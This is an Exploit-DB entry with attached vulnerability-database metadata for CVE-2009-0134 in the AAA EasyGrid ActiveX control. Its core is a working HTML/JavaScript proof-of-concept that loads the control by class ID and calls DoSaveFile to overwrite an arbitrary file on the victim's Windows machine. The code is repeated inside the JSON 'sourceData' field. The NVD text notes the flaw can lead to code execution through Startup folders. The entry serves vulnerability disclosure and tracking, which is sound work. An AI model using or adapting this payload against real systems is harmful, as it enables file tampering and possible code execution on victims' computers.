ID EDB-ID:7779 Type exploitdb Reporter Houssamix Modified 2009-01-14T00:00:00
Description
AAA EasyGrid ActiveX 3.51 Remote File Overwrite Exploit. CVE-2009-0134. Remote exploit for windows platform
=======================================================================================<br>
Author: Houssamix <br>
=======================================================================================<br>
- Viva Gazza - Viva Palestine - <br>
AAA EasyGrid ActiveX v 3.51 Remote File Overwrite exploit <br>
Download : http://www.share2.com/easygrid/download.htm <br>
Tested on Windows XP Professional SP2 , with Internet Explorer 6 <br>
Note : DoSaveHtmlFile() is vuln to , it well overwitten the file with some html code <br>
=======================================================================================<br>
<HTML>
<BODY>
<object id=hsmx classid="clsid:{DD44C0EA-B2CF-31D1-8DD3-444553540000}"></object>
<SCRIPT>
function hehe()
{
File = "c:\\hsmx.txt"
hsmx.DoSaveFile(File)
}
</SCRIPT>
<input language=JavaScript onclick=hehe() type=button value="execute exploit"><br>
</body>
</HTML>
=======================================================================================
# milw0rm.com [2009-01-14]
{"id": "EDB-ID:7779", "type": "exploitdb", "bulletinFamily": "exploit", "title": "AAA EasyGrid ActiveX 3.51 - Remote File Overwrite Exploit", "description": "AAA EasyGrid ActiveX 3.51 Remote File Overwrite Exploit. CVE-2009-0134. Remote exploit for windows platform", "published": "2009-01-14T00:00:00", "modified": "2009-01-14T00:00:00", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "href": "https://www.exploit-db.com/exploits/7779/", "reporter": "Houssamix", "references": [], "cvelist": ["CVE-2009-0134"], "lastseen": "2016-02-01T03:02:53", "viewCount": 11, "enchantments": {"score": {"value": 7.7, "vector": "NONE", "modified": "2016-02-01T03:02:53", "rev": 2}, "dependencies": {"references": [{"type": "cve", "idList": ["CVE-2009-0134"]}], "modified": "2016-02-01T03:02:53", "rev": 2}, "vulnersScore": 7.7}, "sourceHref": "https://www.exploit-db.com/download/7779/", "sourceData": "=======================================================================================<br>\nAuthor: Houssamix\t\t\t\t\t\t\t\t <br>\n=======================================================================================<br>\n- Viva Gazza - Viva Palestine - \t\t\t\t\t\t <br>\nAAA EasyGrid ActiveX v 3.51 Remote File Overwrite exploit\t\t\t <br>\nDownload : http://www.share2.com/easygrid/download.htm\t\t \t\t <br>\n\n Tested on Windows XP Professional SP2 , with Internet Explorer 6\t\t <br>\n\nNote : DoSaveHtmlFile() is vuln to , it well overwitten the file with some html code <br>\n=======================================================================================<br>\n<HTML>\n<BODY>\n <object id=hsmx classid=\"clsid:{DD44C0EA-B2CF-31D1-8DD3-444553540000}\"></object>\n\n<SCRIPT>\n\nfunction hehe()\n {\n File = \"c:\\\\hsmx.txt\"\n hsmx.DoSaveFile(File)\n }\n\n</SCRIPT>\n<input language=JavaScript onclick=hehe() type=button value=\"execute exploit\"><br>\n</body>\n</HTML>\n=======================================================================================\n\n# milw0rm.com [2009-01-14]\n", "osvdbidlist": ["51370"]}
{"cve": [{"lastseen": "2020-10-03T11:54:10", "description": "Insecure method vulnerability in the EasyGrid.SGCtrl.32 ActiveX control in EasyGrid.ocx 1.0.0.1 in AAA EasyGrid ActiveX 3.51 allows remote attackers to create and overwrite arbitrary files via the (1) DoSaveFile or (2) DoSaveHtmlFile method. NOTE: vector 1 could be leveraged for code execution by creating executable files in Startup folders or by accessing files using hcp:// URLs. NOTE: some of these details are obtained from third party information.", "edition": 3, "cvss3": {}, "published": "2009-01-16T18:30:00", "title": "CVE-2009-0134", "type": "cve", "cwe": ["NVD-CWE-Other"], "bulletinFamily": "NVD", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2009-0134"], "modified": "2017-09-29T01:33:00", "cpe": ["cpe:/a:share2:easy_grid_control:3.51"], "id": "CVE-2009-0134", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-0134", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "cpe23": ["cpe:2.3:a:share2:easy_grid_control:3.51:*:*:*:*:*:*:*"]}]}
